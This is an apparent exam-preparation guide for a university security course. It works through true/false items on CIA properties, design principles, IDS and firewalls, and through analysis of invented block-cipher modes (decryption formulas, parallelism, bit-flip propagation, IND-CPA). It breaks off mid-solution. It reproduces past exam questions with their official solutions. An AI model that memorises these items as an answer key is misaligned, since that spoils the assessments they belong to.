Use this scheme when the problem provides A battery of short standalone statements (typically 5–6 for the E-level Part 1), each making one claim about a security concept, mechanism or attack — e.g. equating two notions ("Privacy is a synonym for confidentiality"), attributing a mechanism ("A packet filtering firewall filters out specific content"), mis-mapping threats to CIA properties, or naming a design principle ("...goes against the principle of economy of mechanism"). Variants: (a) a Canvas-style quiz where each statement is answered True/False with feedback, and (b) multiple-choice options A–D marked with the club symbol where zero, one or several options may be true and "None of these answers are correct" is offered. and asks you to For each statement, decide true/false (or mark all true options) and justify the verdict in one to three sentences by naming the correct property, definition or principle and giving the key distinction or counterexample. Grading typically awards the point if the reasoning makes at least one of the listed correct points. Look for keywords like: *"true or false", "classify them as true or false and explain your reasoning", "Mark all true statements", "None of these answers are correct", "CIA", "principle of", "least privilege", "economy of mechanism", "packet filtering firewall", "intrusion detection", "false positives", "DOS attacks", "privacy", "synonym", "disclosure", "message authentication".*

Algorithm: Name the concept, then give the distinguishing counterexample

Step 1: Isolate the claim: Identify which single course concept the statement tests (CIA property, firewall type, IDS class, design principle, authentication factor, salt purpose, DoS mechanism, etc.) and restate the exact assertion it makes:

- a ***definition*** or claimed ***equivalence*** ("synonym"),
- a ***mechanism*** attributed to a tool or attack,
- a bad practice attributed to a ***named principle***.

Step 2: Recall the definition: Write down (mentally) the precise course definition of that concept, e.g. packet-filtering firewall = drop whole packets based on header metadata only, never payload; economy of mechanism = the security mechanism should not be more complex than necessary; anomaly-based IDS = learned model of normal behaviour, hence high false

positives; SYN flood = exhaustion of the pending-connection table.

Step 3: Hunt the trap: Check the usual mismatch patterns:

- absolute quantifiers ("only", "all", "never", "necessarily"),
- claimed synonyms between notions of different scope (privacy vs. confidentiality),
- swapped CIA properties (a read violation is confidentiality, not integrity; disruption is availability),
- a real bad practice paired with the ***wrong named principle*** (or a non-principle like defense in depth presented as one of the eight Saltzer–Schroeder principles),
- a mechanism attributed to the wrong layer (content filtering needs DPI, not packet filtering) or wrong resource (SYN flood exhausts state, not bandwidth).

Step 4: Decide the verdict: Mark *true* only if the statement is correct as written, including the named principle and quantifiers; a statement whose underlying observation is right but whose justification names the wrong principle is *false*. For club-marked multiple choice, judge each option A–D ***independently*** — several (or none) may be true, and never select "None of these answers are correct" together with another option.

Step 5: Justify precisely: In 1–3 sentences: state the verdict, give the correct definition, and name the distinguishing counterexample or correction, e.g. "False: students only need read access to most pages, so this violates ***least privilege***; economy of mechanism means the mechanism should not be more complex than necessary." Aim to hit at least one of the grading scheme's accepted points — give the sharpest distinction, not an essay.

Exam Variations & Traps

- **Variation 1 (Single T/F battery with reasoning (2022 style)):** Six independent statements, each classified and justified; grading accepts any one of several listed correct points. Trap: some statements are false because of the ***mechanism or principle named***, not because the intuition is wrong — so always check the justification clause, not just the headline claim.
- **Variation 2 (Canvas quiz T/F with feedback (dasak20/dasak21 style)):** The same statements appear as an online quiz with True/False radio buttons; official feedback explains the verdict. The style is identical to the written battery: e.g. threat-to-CIA mapping ("disclosure and disruption are threats against integrity" — False), base-rate fallacy ("0.01% false positives, yet overwhelmed by false alarms, so the vendor lied" — False). Prepare by memorizing the distinguishing correction for each classic trap.
- **Variation 3 (Multiple-true club format (dasak19 Part I)):** Options A–D under a topic header (Concepts/CIA, Authentication, Cryptography,

Memory safety, Malware, IDS/Firewalls) are graded ***independently***; zero, one or several may be true. E.g. on IDS/firewalls all of these are true: signature IDS detects only known intrusions, firewalls do not stop internal threats, detection necessarily has false positives/negatives. "None of these answers are correct" exists to separate "all false" from "unanswered".

- **Variation 4 (Wrong-principle pairing / synonym-quantifier trap):** The statement describes a genuine security mistake but attributes it to the wrong Saltzer–Schroeder principle (economy of mechanism instead of least privilege, or vice versa) — or invokes a principle that is not in the canonical eight at all. Similarly, words like "synonym", "only", "necessarily", "never" make a roughly-true statement false: privacy is broader than confidentiality; message authentication does *not* require encrypting the content; a MAC gives integrity and no confidentiality. Verify the named principle's definition against the exact list and test edge cases against the quantifier.

Guided Walkthrough (Learn the Method on One Question)

Problem: Part 1, true/false with reasoning: "A company replaces its signature-based IDS with an anomaly-based IDS and configures its new deep-packet-inspection firewall to read the content of TLS-encrypted web sessions, so that both previously unseen attacks can be detected with few false positives and malicious payloads inside encrypted traffic can be filtered at the perimeter." Classify the statement as true or false and explain your reasoning.

Solution (every step explained, including WHY):

- *Applying Step 1:* First, slow down and split the statement into its individual claims — a single sentence here contains *two* linked assertions: (a) an ***anomaly-based IDS*** detects previously unseen attacks *with few false positives*, and (b) a ***deep-packet-inspection (DPI) firewall*** can read the *content* of TLS-encrypted traffic. Beginner pitfall: judging the sentence as a whole because it "sounds reasonable". Each clause must be checked on its own; one wrong clause makes the whole statement false.

- *Applying Step 2:* Recall the exact definitions. An ***anomaly-based IDS*** learns a model of what *normal* looks like and flags anything that deviates. Yes, this catches novel attacks (a signature IDS cannot — its patterns must be known in advance), but the price is a *high* false-positive rate: unusual-but-legitimate behaviour is flagged too. ***TLS*** encrypts the payload end-to-end between client and server, so any middlebox sees only ciphertext and header metadata; reading the plaintext content is impossible without terminating the TLS session (an interception proxy) or watching at the endpoint (a HIDS).

- *Applying Step 3:* Now hunt the traps. Clause (a) swaps the signature/anomaly trade-off: novelty detection is *bought at the cost of* false positives, so "few false positives" directly contradicts the definition — and the ***base-rate fallacy*** makes it even worse when attacks are rare. Clause (b) attributes plaintext visibility on *encrypted* traffic to a network middlebox: a plain DPI firewall does not break TLS. Why a beginner misses this: both clauses state a real *advantage* (novel detection;

DPI does inspect payloads of unencrypted traffic) and quietly overstate it. The exam loves overstatements.

- *Applying Step 4:* Verdict: **False**. Both the stated detection benefit ("few false positives") and the stated firewall capability (reading TLS content) are wrong as written. Note that you do not need to fix the statement — just to classify it. But being able to say *what would be true* ("detects novel attacks but with many false positives"; "can filter only unencrypted payloads") is exactly what earns the reasoning point.
- *Applying Step 5:* Justification to write (1–3 sentences, verdict first): "False. An ***anomaly-based IDS*** can detect previously unseen attacks, but its learned model of normality produces *high* false-positive rates, and the base-rate fallacy amplifies this for rare attacks. A DPI firewall cannot read TLS content: the payload is end-to-end encrypted, so only ciphertext and header metadata are visible — plaintext inspection requires terminating the TLS session (interception proxy) or endpoint visibility such as a ***HIDS***." Common mistake to avoid: writing a whole essay about IDS types without ever stating the verdict or the single sharpest distinction.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam January 2022 (dasak21), Part 1, Question 2

Problem: "Disclosure and disruption are examples of threats against integrity." True or false?
Solution:

- *Applying Step 1:* Isolate the claim: this is a ***threat-to-CIA mapping*** question. It asserts that *both* named threats — ***disclosure*** and ***disruption*** — belong to the same CIA property, integrity. Beginner note: each threat name has exactly one canonical CIA property in this course, so the statement is really two mini-claims fused together.
- *Applying Step 2:* Recall the definitions: ***confidentiality*** is protection against unauthorized *reading* of data — a ***disclosure*** is precisely such a read leak, so disclosure is a threat against *confidentiality*. ***Integrity*** is protection against unauthorized *modification*. ***Availability*** is protection against loss of use — a ***disruption*** interrupts or degrades service, so disruption is a threat against *availability*.
- *Applying Step 3:* Hunt the trap: this is the classic ***swapped CIA properties*** pattern. Both threat words are placed under the wrong heading; neither belongs to integrity. A beginner mistake is to reason "disruption damages the system, and damage sounds like integrity" — but the course definition of integrity is about *unauthorized modification of data/output*, not about service being up or down.
- *Applying Step 4:* Verdict: **False** — the mapping is wrong for both threats.
- *Applying Step 5:* Official feedback (write something equivalent): "The statement is FALSE: disclosure is a threat against ***confidentiality***, disruption is

a threat against ***availability***." One sentence suffices — verdict plus the two correct mappings.

Answer: False — disclosure threatens confidentiality; disruption threatens availability.

Exam Practice: Exam January 2021 (dasak20), Part 1, Question 11

Problem: "Your company bought the best intrusion detection system on the market. It has only 0.01% false positives. However, your company is overwhelmed with false alarms, so the manufacturer must have lied about the false-positive rate in their marketing material." True or false?
Solution:

- *Applying Step 1:* Isolate the claim: this tests the ***base-rate fallacy*** for intrusion detection. The logic offered is: many false alarms observed ⇒ the advertised false-positive rate must be a lie. Beginner note: a ***false-positive rate*** is the probability that a *benign* event is flagged; it says nothing directly about how *many* alarms you will see in total.
- *Applying Step 2:* Recall the definitions: a ***false positive*** is a benign event incorrectly flagged as an attack. The total number of false alarms equals the false-positive rate *multiplied by the number of benign events*. If benign events vastly outnumber real attacks (the attack base rate is tiny), even a very small rate yields a flood of false alarms.
- *Applying Step 3:* Hunt the trap: the statement commits the ***base-rate fallacy*** — it ignores the base rate of real attacks. Concretely: with millions of benign events per day, 0.01% of them is still hundreds of false alarms daily, while genuine attacks may be only a handful. So a truthful manufacturer and an overwhelming alarm load are *perfectly compatible*; the conclusion "must have lied" does not follow.
- *Applying Step 4:* Verdict: **False**.
- *Applying Step 5:* Official feedback (write something equivalent): "Yes, indeed (the statement is false). This can happen even with a very low false-positive rate like that. If the number of true positive cases is much smaller than the number of true negative cases, then those 0.01% of false positives can grow very large." The key phrase to include is the comparison between the *rare* attacks and the *huge* mass of benign events.

Answer: False — with rare attacks, even a 0.01% false-positive rate over a huge volume of benign events produces overwhelming false alarms (base-rate fallacy).

Exam Practice: Partial Exam October 2022, Part 1, T/F statement 5

Problem: "Allowing students write access to all canvas pages in a course goes against the principle of economy of mechanism." Classify the statement as true or

false and explain your reasoning.
Solution:

- *Applying Step 1:* Isolate the claim: this is a ***wrong-principle pairing*** question. It describes a real access-control mistake (students get *write* access to *all* pages) and asserts it violates a specific named Saltzer–Schroeder principle: ***economy of mechanism***. Two things must *both* be right for True: that the practice is bad, and that the *named principle* is the one it violates.
- *Applying Step 2:* Recall the definitions: ***economy of mechanism*** says the security mechanism (the TCB) should be as *simple and small* as necessary — it is about *design complexity*, not about who gets which rights. ***Least privilege*** says every subject should get only the rights its task actually needs.
- *Applying Step 3:* Hunt the trap: the intuition "students should not be able to write everywhere" is correct — but the principle that forbids it is ***least privilege*** (students only need *read* access to most pages, unless a specific task requires writing), not economy of mechanism. Beginner mistake: marking True because "the practice described is indeed bad". The verdict follows the *pairing*, not the practice.
- *Applying Step 4:* Verdict: **False**.
- *Applying Step 5:* Official solution (either accepted point suffices; write both to be safe): "False. 1) It goes against the principle of ***least privilege***, as students only need read access to most pages unless a task requires them to write. 2) ***Economy of mechanism*** means that a security mechanism should not be more complex than necessary." Note the grading hint: "correct reasoning makes at least one of these points" — so naming the correct principle alone already scores.

Answer: False — the practice violates least privilege, not economy of mechanism (which is about keeping the mechanism simple).

For more practice, see past-exam instances: dasak19combined.pdf::Part I Q9

7 Question Type 7: Custom block-cipher mode analysis: decryption, parallelizability, bit-flip propagation, IND-CPA

Theory Background (Start Here if You Know Nothing)

Starting from zero: bits, blocks, and XOR. All data in this problem is chopped into ***blocks***: fixed-length strings of n bits (for AES, $n = 128$). A ***bit*** is just a 0 or a 1. The only operation you need is ***XOR*** (written $\oplus$), which adds bits without carry: $0 \oplus 0 = 0$, $0 \oplus 1 = 1$, $1 \oplus 1 = 0$. Three facts make XOR the Swiss army knife of every exam problem here:

- $x \oplus x = 0$ (anything XOR itself cancels),

- $x \oplus 0 = x$ (XOR with zero does nothing),
- if $a \oplus b = c$ then $a = c \oplus b$ (you can move any term across the equals sign by XORing it onto the other side).

Every 'derive the decryption formula' step is nothing more than the third fact applied once or twice.

A ***block cipher*** is a keyed scrambling machine for single blocks: given a secret key K, the function E_K maps every n-bit block to another n-bit block, and it is a ***permutation*** — a one-to-one shuffling — so it can be undone. The undo function is written D_K and satisfies $D_K(E_K(x)) = x$ for every block x. 'Secure' means that without the key, E_K is indistinguishable from a random permutation. Crucially, E_K is ***deterministic***: same key plus same input always gives the same output. That is exactly why a raw block cipher alone is a bad encryption scheme — if Alice sends 'yes' twice, Eve sees the same ciphertext twice and learns the two messages are equal.

A ***mode of operation*** is a recipe for using a block cipher on a long message. The message is split into blocks $P = (P_1, \ldots, P_m)$ and ***encryption recurrences*** (formulas) say how to compute each ciphertext block C_i from plaintext blocks, the key, and one or two ***initialization vectors*** (IVs). An IV is a random value, generated fresh for every message and sent in the clear together with the ciphertext as $(IV_1, IV_2, C_1, \ldots, C_m)$. The IV is not a secret; its only job is to inject fresh randomness so that encrypting the same message twice produces different ciphertexts. The exam invents a new mode by writing down a formula for C_1 and a recurrence for C_i that mix P_i, the IVs, and earlier ciphertext blocks with XOR inside and outside E_K.

IND-CPA (indistinguishability under chosen-plaintext attack) is the standard security definition, phrased as a game:

- Eve picks two messages M_0 and M_1 and gives them to the challenger.
- The challenger secretly flips a coin $b \in \{0, 1\}$ and returns $C^* = Enc(K, M_b)$.
- Eve may additionally ask for encryptions of any messages she likes (that is the 'chosen-plaintext' part).
- Eve wins if she guesses b better than a coin toss.

The one fact to internalize: no deterministic encryption scheme can be IND-CPA secure. If encryption involves no fresh randomness, Eve just encrypts M_0 herself and compares the result with C^*; a match means $b = 0$. Consequently, a mode whose IVs are ***constant or reused*** across messages is broken: two messages that share a first block P_1 produce the same first ciphertext block, and comparing first blocks wins the game with probability 1.

Parallelizability asks: can a multi-core machine compute all blocks at once, or must block i wait for block $i - 1$? You answer it purely by reading the dependencies in the formulas.

- ***Encryption*** is sequential as soon as the formula for C_i mentions any earlier ciphertext block (C_{i-1}, C_{i-2}, or a running XOR $C_1 \oplus \cdots \oplus C_{i-1}$), because C_i literally cannot be computed before those blocks exist.
- ***Decryption*** is parallelizable exactly when every P_i is computed from ciphertext blocks and IVs only — Bob receives the whole ciphertext at once, so all inputs are available simultaneously.

- The trap: if the decryption formula for P_i mentions an earlier *plaintext* P_{i-1} (plaintext feedback), decryption is sequential too.

Error propagation asks what Bob recovers after a single-bit flip in one ciphertext block $C'_j = C_j \oplus 1$. Trace each decryption formula with two rules:

- If C'_j enters *inside* $D_K(\cdot)$, that plaintext block is ***garbage***: secure block ciphers have the ***avalanche effect***, so a one-bit change at the input flips every output bit with probability 1/2, making the whole output block unpredictable. Never claim you know anything about a garbage block.
- If C'_j appears only as an XOR term *outside* the cipher, the error passes through exactly: $P'_i = P_i \oplus 1$, i.e. the same single bit flips and nothing else changes (XOR is linear).
- Blocks whose formula never mentions C_j are decrypted perfectly.

Also remember: modes give ***confidentiality only*** — modes provide no integrity protection, so Bob has no way to detect that tampering happened.

Theory Cheat-Sheet

- E_K is a permutation, $D_K(E_K(x)) = x$. To invert a mode: XOR every term outside E_K to the other side, apply D_K, then XOR off the remaining mask to isolate P_i.
- Deterministic implies broken: constant or reused IV means not IND-CPA; attack = two messages with the same first block, compare first ciphertext blocks. Fresh random IV per message restores IND-CPA.
- Corrupted block inside D_K $\Rightarrow$ garbage output block (avalanche); corrupted block appearing only as an XOR term $\Rightarrow$ exactly the same single-bit flip in that plaintext block.
- Encryption sequential iff C_i uses an earlier ciphertext block; decryption sequential iff P_i uses an earlier plaintext block; otherwise that direction is parallelizable.
- CBC-like chained modes: encryption sequential, decryption parallel. Plaintext-feedback modes (AES-SEC style): both directions sequential.
- Modes give confidentiality only, never integrity — the receiver cannot detect a flipped bit.

How to Identify

Use this scheme when the problem provides A made-up mode of operation (AES-SEC, AES-MIX, AES-MOD, or a 'novel mode') defined by encryption recurrences: a special formula for C_1 (sometimes also C_2) plus a general recurrence $C_i = E_K(\cdots)$ mixing P_i, IVs, and earlier ciphertext or plaintext blocks via XOR. Block size n is given; the message $P = (P_1, \ldots, P_m)$ is a multiple of n so no padding is needed. E_K is a secure block cipher (e.g. AES) under a key K shared by Alice and Bob; D_K may be used in answers. One or two IVs IV_1, IV_2 are chosen and sent in the clear as $(IV_1, IV_2, C_1, \ldots, C_m)$; they may be stated as fresh random/independent or as constant/reused. and asks you to (1) Derive an efficient decryption formula for P_i (sometimes specifically P_1, P_2, or $i > 2$) using D_K; (2) state whether encryption and decryption can be parallelized, justified from data dependencies;

(3) compute what Bob decrypts after a single-bit flip in one ciphertext block, marking garbage blocks and exact bit-flip propagation; (4) justify or break IND-CPA security (explicit counterexample messages if IVs are constant/reused, informal argument if fresh random IVs). Look for keywords like: *"mode of operation", "derive decryption formula", "efficient decryption", "parallelized", "single bit flip", "error propagation", "garbage", "unpredictable output", "IND-CPA", "IV", "initialization vector", "self-correcting".*

Algorithm: Invert-Isolate-Trace: algebraically invert the recurrence, then read dependencies and error paths off the decryption formula

Step 1: Map the recurrence structure: Write out the given encryption equations and mark, for each C_i, which terms enter the block cipher input (***inside*** $E_K(\cdot)$) and which are only XORed ***outside***. E.g. AES-MIX: $C_1 = E_K(IV_1 \oplus P_1)$, $C_2 = E_K(IV_2 \oplus P_2) \oplus C_1$, $C_i = E_K(C_{i-2} \oplus P_i)$ for $i > 2$. This inside/outside split drives both inversion and error tracing.

Step 2: Isolate the E_K term: XOR both sides of each equation with every term sitting outside E_K, so that E_K(input) stands alone on one side. For the AES-MIX equation for C_2: $C_2 \oplus C_1 = E_K(IV_2 \oplus P_2)$. Equations with nothing outside the cipher are already isolated.

Step 3: Apply D_K and solve for P_i: Apply D_K to both sides to expose the cipher input, then XOR the remaining mask over to isolate P_i. AES-MIX:

- $D_K(C_2 \oplus C_1) = IV_2 \oplus P_2$, so $P_2 = D_K(C_2 \oplus C_1) \oplus IV_2$;
- $D_K(C_i) = C_{i-2} \oplus P_i$, so $P_i = D_K(C_i) \oplus C_{i-2}$ for $i > 2$.

Handle each special case (P_1, P_2) separately and double-check by substituting the encryption formula back in.

Step 4: Read off parallelizability: Inspect the data dependencies of each direction.

- ***Encryption*** is parallelizable only if C_i needs no earlier ciphertext; it is sequential when C_i depends on C_{i-1} (AES-SEC), on C_{i-2} (AES-MIX), or on a cumulative XOR (AES-MOD).
- ***Decryption*** is parallelizable only if P_i uses solely ciphertext blocks and IVs (AES-MIX: yes).
- Watch for ***plaintext feedback***: AES-SEC's $P_i = D_K(C_i \oplus P_{i-1}) \oplus C_{i-1}$ needs P_{i-1}, so decryption is sequential too.

Step 5: Trace the bit flip block by block: For tampered $C'_j = C_j \oplus 1$, expand every P'_i concretely with the decryption formula. Rules:

- C'_j inside $D_K(\cdot) \Rightarrow$ that plaintext block is ***garbage*** (avalanche makes it unpredictable).
- C'_j only as an XOR term $\Rightarrow$ the identical single-bit flip passes through: $P'_i = P_i \oplus 1$.
- Formulas never referencing C_j give unchanged blocks.

State the final tuple Bob recovers, e.g. (Garbage, Garbage, $P_3 \oplus 1$).

Step 6: Judge IND-CPA security: Check where the randomness comes from.

- ***Constant or reused IV*** (or no randomness at all): encryption is deterministic $\Rightarrow$ break it. Submit two messages sharing a first block, $M_0 = (P_1, P_2)$ and $M_1 = (P_1, P_3)$ with $P_2 \neq P_3$; the first ciphertext blocks coincide, so Eve wins with probability 1.
- ***Fresh independent random IVs per message***: equal plaintexts encrypt differently and chaining randomizes later blocks; argue IND-CPA security informally.

Exam Variations & Traps

- **Variation 1 (Plaintext feedback kills decryption parallelism):** AES-SEC (exam-with-solutions.pdf::1a) uses $C_i = E_K(P_i \oplus C_{i-1}) \oplus P_{i-1}$, giving $P_i = D_K(C_i \oplus P_{i-1}) \oplus C_{i-1}$ — decryption needs the ***previous plaintext***, so both encryption and decryption are sequential. Trap: assuming decryption is always parallel as in CBC. In Step 4, check for P_{i-1} terms in the decryption formula, not only ciphertext terms.
- **Variation 2 (Bit-flip propagation vs garbage depends on formula shape):** In AES-MIX a flip in C_1 makes P'_1, P'_2 garbage (both push C'_1 through D_K) but gives $P'_3 = P_3 \oplus 1$ (XOR-only use). In AES-MOD a flip in C_2 makes P'_2 garbage while P'_3, P'_4 each flip exactly one bit and P_1 stays intact. Expand each block concretely; never quote CBC intuition (one garbage block plus one flipped block) without checking.
- **Variation 3 (Constant IV or hard-coded randomness instead of IV reuse):** The re-exam 'novel mode' (re-exam-problems-with-sample-solutions.pdf::8c) uses a hard-coded constant c_0 and the fixed value $E_K(K)$, making encryption deterministic: not IND-CPA even without an explicit reuse assumption; the fix is a fresh random IV whose randomness propagates to all c_i. In Step 6, first check whether *any* per-message randomness exists before discussing reuse.
- **Variation 4 (Self-correcting / finite error propagation asked instead of IND-CPA):** The same re-exam problem asks whether the mode is ***self-correcting***: with $m_i = c_i \oplus E_K(c_{i-2}) \oplus E_K(c_{i-1})$, an error in c_4 corrupts exactly m_4, m_5, m_6 (the three decryption equations referencing c_4) and nothing else. Adapt Step 5: list every decryption equation containing the corrupted block; exactly those plaintext blocks are wrong; if the set is finite the mode self-corrects.

Guided Walkthrough (Learn the Method on One Question)

Problem: Alice and Bob design a new mode of operation called AES-TWIN, defined by the recurrences $C_1 = E_K(IV_1 \oplus P_1) \oplus IV_2$ and $C_i = E_K(IV_2 \oplus C_{i-1} \oplus P_i)$ for $i > 1$, where E_K is a secure block cipher (e.g. AES) under a key K shared by Alice and Bob. The message $P = (P_1, \ldots, P_m)$ consists of blocks of size n and its length is a multiple of n, so no padding is needed. For each message Alice chooses two fresh independent random IVs

and sends $(IV_1, IV_2, C_1, \ldots, C_m)$ in the clear. (a) Derive an efficient decryption formula for P_1 and for P_i, $i > 1$, using D_K. (b) State, with justification, whether the encryption and decryption procedures can be parallelized. (c) A network error flips a single bit of the first ciphertext block of a 3-block message, so Bob receives $(IV_1, IV_2, C_1', C_2, C_3)$ with $C_1' = C_1 \oplus 1$; show exactly what message Bob recovers, marking garbage output and computing exact results where possible. (d) Suppose Alice's implementation is buggy and always uses $IV_1 = IV_2 = 0^n$. Show that AES-TWIN is then not IND-CPA secure.

Solution (every step explained, including WHY):

- *Applying Step 1: Map the recurrence structure:* Before any algebra, mark what sits inside and outside the cipher. In $C_1 = E_K(IV_1 \oplus P_1) \oplus IV_2$ the term IV_2 is XORed *after* the cipher ran, so it is outside; $IV_1 \oplus P_1$ is the cipher's input. In $C_i = E_K(IV_2 \oplus C_{i-1} \oplus P_i)$ everything is inside E_K. ***Why this step:*** beginners jump straight to formulas and misplace a term; the inside/outside split tells you exactly which XORs you must 'move across' and predicts the error-propagation answer later. ***Mistake to avoid:*** treating C_{i-1} as an outside term — it is fed into E_K, not XORed onto the result.

- *Applying Step 2: Isolate the E_K term:* Goal: get E_K(something) alone on one side. For the first equation, XOR IV_2 onto both sides (legal because if $a = b$ then $a \oplus x = b \oplus x$): $C_1 \oplus IV_2 = E_K(IV_1 \oplus P_1) \oplus IV_2 \oplus IV_2 = E_K(IV_1 \oplus P_1)$, using $IV_2 \oplus IV_2 = 0$. The general recurrence $C_i = E_K(IV_2 \oplus C_{i-1} \oplus P_i)$ is already isolated. ***Why:*** you can only apply D_K to something of the form $E_K(\cdot)$, so isolation must come first. ***Mistake to avoid:*** applying D_K to C_1 directly without removing the outside IV_2 first — $D_K(C_1) \neq IV_1 \oplus P_1 \oplus$ (something simple), because D_K does not distribute over XOR.

- *Applying Step 3: Apply D_K and solve for P_i:* Apply D_K to both isolated sides, using $D_K(E_K(x)) = x$: from Step 2, $D_K(C_1 \oplus IV_2) = IV_1 \oplus P_1$, and XORing IV_1 over gives

  $$P_1 = D_K(C_1 \oplus IV_2) \oplus IV_1.$$

  For $i > 1$: $D_K(C_i) = IV_2 \oplus C_{i-1} \oplus P_i$, and XORing $IV_2 \oplus C_{i-1}$ over gives

  $$P_i = D_K(C_i) \oplus IV_2 \oplus C_{i-1}.$$

  Check (always do this): substitute encryption back in — $D_K(C_1 \oplus IV_2) \oplus IV_1 = D_K(E_K(IV_1 \oplus P_1)) \oplus IV_1 = IV_1 \oplus P_1 \oplus IV_1 = P_1$. ***Why:*** the check costs one line and catches sign errors the grader will catch otherwise.

- *Applying Step 4: Read off parallelizability:* ***Encryption:*** the recurrence $C_i = E_K(IV_2 \oplus C_{i-1} \oplus P_i)$ requires C_{i-1}, so block i cannot start before block $i-1$ is finished — encryption is ***sequential***, not parallelizable. ***Decryption:*** $P_1 = D_K(C_1 \oplus IV_2) \oplus IV_1$ and $P_i = D_K(C_i) \oplus IV_2 \oplus C_{i-1}$ use only ciphertext blocks and the public IVs; Bob holds the entire ciphertext before he starts, so every block can be decrypted independently — decryption ***can be parallelized***. ***Mistake to avoid:*** answering 'encryption is parallel because each C_i formula looks self-contained' — the C_{i-1} inside is a ciphertext dependency, and only plaintext/IV inputs are available up front.

- *Applying Step 5: Trace the bit flip block by block:* Bob holds $(IV_1, IV_2, C_1 \oplus 1, C_2, C_3)$. Expand each block with Step 3's formulas.

- $P'_1 = D_K(C_1 \oplus 1 \oplus IV_2) \oplus IV_1$: the corrupted value enters *inside* D_K, and the avalanche effect scrambles the whole output, so $P'_1 =$ Garbage.
- $P'_2 = D_K(C_2) \oplus IV_2 \oplus C'_1 = D_K(C_2) \oplus IV_2 \oplus C_1 \oplus 1 = P_2 \oplus 1$: here C'_1 is only an XOR term outside the cipher, so the single flipped bit passes through exactly.
- $P'_3 = D_K(C_3) \oplus IV_2 \oplus C_2 = P_3$: this formula never mentions C_1, so the block is intact.

Bob recovers $(\text{Garbage}, P_2 \oplus 1, P_3)$. ***Mistake to avoid:*** writing 'the message is garbled' as one blanket statement — the exam wants a block-by-block verdict, and note the asymmetry: the same corrupted block is garbage in one formula but a clean bit flip in another.

- *Applying Step 6: Judge IND-CPA security (buggy constant IVs):* With $IV_1 = IV_2 = 0^n$ hard-coded, encryption becomes deterministic: $C_1 = E_K(P_1) \oplus 0^n = E_K(P_1)$, and each C_i is a fixed function of $(P_1, \ldots, P_i)$. Attack: Eve submits $M_0 = (X, Y_0)$ and $M_1 = (X, Y_1)$ with $Y_0 \neq Y_1$ and receives the challenge $C^* = (C^*_1, C^*_2)$. Using her chosen-plaintext access she requests an encryption of M_0 herself; since encryption is deterministic, her result equals C^* exactly iff $b = 0$. Even without the extra query, the first blocks satisfy $C_1 = E_K(X)$ for *both* candidates, so equality patterns leak. Eve wins with probability 1, so AES-TWIN with constant IVs is ***not IND-CPA secure***. ***Why:*** the definition's whole point is that encryption must consume fresh randomness per message; remove it and message-equality leaks. The fix is what the original design already specified: fresh independent random IVs per message.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam 2024-10-22, Problem 1a-1c (AES-SEC)

Problem: Alice and Bob design the AES-SEC mode of operation: $C_1 = E_K(P_1 \oplus IV_1) \oplus IV_2$ and $C_i = E_K(P_i \oplus C_{i-1}) \oplus P_{i-1}$ for $i \geq 2$, where $E_K(b)$ is encryption of an n-bit block b under secret key K with a secure block cipher (e.g. AES). A message P is split into m blocks of size n, two initialization vectors IV_1, IV_2 are chosen, and $(IV_1, IV_2, C_1, \ldots, C_m)$ is sent; the message length is a multiple of n, so no padding is needed. (a) [6p] Help Bob derive the decryption formula of a block P_i for $i \geq 2$ (D_K may be used). (b) [4p] Explain whether or not the encryption formula and the decryption formula can be parallelized. (c) [4p] Suppose AES-SEC reuses the same initialization vectors IV_1 and IV_2 in all communications between Alice and Bob. Explain if AES-SEC is IND-CPA secure, otherwise provide a counterexample.
Solution:

- *Applying Step 1: Map the recurrence structure:* In $C_i = E_K(P_i \oplus C_{i-1}) \oplus P_{i-1}$, the term P_{i-1} is XORed outside the cipher while $P_i \oplus C_{i-1}$ is the cipher input. Note the ***plaintext feedback***: a plaintext block appears in the output mask, which will matter in Step 4.

- *Applying Steps 2-3: Isolate E_K, apply D_K, solve for P_i:* XOR P_{i-1} onto both sides to isolate the cipher term, then apply D_K and move the remaining mask:

$$C_i = E_K(P_i \oplus C_{i-1}) \oplus P_{i-1}$$

$$C_i \oplus P_{i-1} = E_K(P_i \oplus C_{i-1})$$
$$D_K(C_i \oplus P_{i-1}) = P_i \oplus C_{i-1}$$
$$P_i = D_K(C_i \oplus P_{i-1}) \oplus C_{i-1}.$$

Each line uses only the XOR-cancellation facts ($x \oplus x = 0$) and $D_K(E_K(x)) = x$.

- *Applying Step 4: Read off parallelizability:* Encryption ***cannot be parallelized***: computing C_i requires knowing C_{i-1} (an earlier ciphertext block), so blocks must be produced in order. Decryption also ***cannot be parallelized***: the formula $P_i = D_K(C_i \oplus P_{i-1}) \oplus C_{i-1}$ requires knowing the *previous plaintext* P_{i-1}, so blocks must be recovered in order. This is the plaintext-feedback trap — unlike CBC, both directions are sequential here.

- *Applying Step 6: Judge IND-CPA security with reused IVs:* With IV_1, IV_2 reused in all communications, the first-block formula $C_1 = E_K(P_1 \oplus IV_1) \oplus IV_2$ is a fixed deterministic function of P_1. For two messages (P_1, P_2) and (P_1, P_3) that share the same first block P_1, the attacker can learn whether or not they are the same by comparing the ciphertexts of the first block. Therefore AES-SEC with reused IVs is ***not IND-CPA secure***.

Answer: $P_i = D_K(C_i \oplus P_{i-1}) \oplus C_{i-1}$ for $i \geq 2$; neither encryption nor decryption can be parallelized; with reused IVs AES-SEC is not IND-CPA secure (first ciphertext blocks coincide whenever first plaintext blocks coincide).

Exam Practice: Re-exam 2025-12-18, Problem 1a-1c (AES-MIX)

Problem: Alice and Bob design the AES-MIX mode of operation: $C_1 = E_K(IV_1 \oplus P_1)$, $C_2 = E_K(IV_2 \oplus P_2) \oplus C_1$, and $C_i = E_K(C_{i-2} \oplus P_i)$ for $i > 2$, where $E_K(b)$ is encryption of an n-bit block under secret key K with a secure block cipher (e.g. AES). A message $P = (P_1, \ldots, P_m)$ of blocks of size n is encrypted with two independent random initialization vectors IV_1, IV_2 and $(IV_1, IV_2, C_1, \ldots, C_m)$ is sent; the message is a multiple of n, so no padding is needed. (a) [4p] Derive an efficient decryption formula for P_2 and for P_i, $i > 2$ (D_K may be used). (b) [2p] Explain whether or not the encryption formula and the decryption formula can be parallelized. (c) [6p] Alice encrypts a three-block message $P = (P_1, P_2, P_3)$ to $C = (IV_1, IV_2, C_1, C_2, C_3)$; a network error flips a single bit of the first ciphertext block, $C_1' = C_1 \oplus 1$. Show what message Bob computes when decrypting $C' = (IV_1, IV_2, C_1', C_2, C_3)$, justifying garbage (unpredictable) output and computing exact results where possible.
Solution:

